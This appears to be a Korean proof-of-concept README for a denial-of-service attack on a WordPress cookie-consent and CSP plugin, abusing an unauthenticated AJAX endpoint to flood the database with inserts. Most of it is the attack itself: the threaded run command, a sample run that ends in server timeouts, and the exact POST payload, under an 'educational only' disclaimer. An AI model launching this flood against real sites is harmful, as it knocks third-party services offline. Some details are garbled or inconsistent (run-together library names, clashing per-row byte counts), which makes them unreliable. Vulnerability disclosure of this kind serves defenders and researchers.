
jonkastonka Cookies and Content Security Policy 플러그인의 AJAX 엔드포인트 기능에서의 잘못된 접근 제어 (버전 2.29까지)
wp_ajax_nopriv_cacsp_insert_consent_data 엔드포인트로의 무제한 데이터베이스 쓰기 작업을 통해 jonkastonka Cookies and Content Security Policy 플러그인 (버전 2.29까지)의 AJAX 엔드포인트 기능 내 잘못된 접근 제어로 인해 원격 공격자가 서비스 거부(데이터베이스 서버 리소스 고갈)를 일으킬 수 있습니다.
취약점은 cacsp_insert_consent_data() 함수에 존재하며, 이 함수는 인증 없이 WordPress의 AJAX 엔드포인트(wp-admin/admin-ajax.php)를 통해 노출됩니다. 플러그인은 wp_ajax_nopriv_ 액션을 사용하므로 인증되지 않은 사용자도 접근할 수 있습니다.
공격 벡터: 원격 공격자는 동시에 무제한의 POST 요청을 보내 데이터베이스 서버에 쓰기 작업을 과부하시켜 CPU 및 디스크 I/O를 고갈시킬 수 있습니다.
requestsmatplotlibthreadingPoC 스크립트의 기본 사용법은 다음과 같습니다.
python payload.py --target <target_url> --threads <number_of_threads>
기본적으로 스레드 수는 100으로 설정되어 있습니다. 두 번째 인자로 다른 스레드 수를 지정할 수 있습니다.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
이 익스플로잇은 다음 데이터와 함께 /wp-admin/admin-ajax.php로 POST 요청을 보냅니다.
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
각 성공적인 요청은 다음을 포함하는 새로운 데이터베이스 행을 삽입합니다.
결과: 요청당 ~89바이트 × 무제한 요청 = 빠른 데이터베이스 증가
이 PoC는 교육 목적으로만 제공됩니다. 작성자는 이 코드의 사용으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 항상 시스템을 테스트하기 전에 허가를 받으십시오.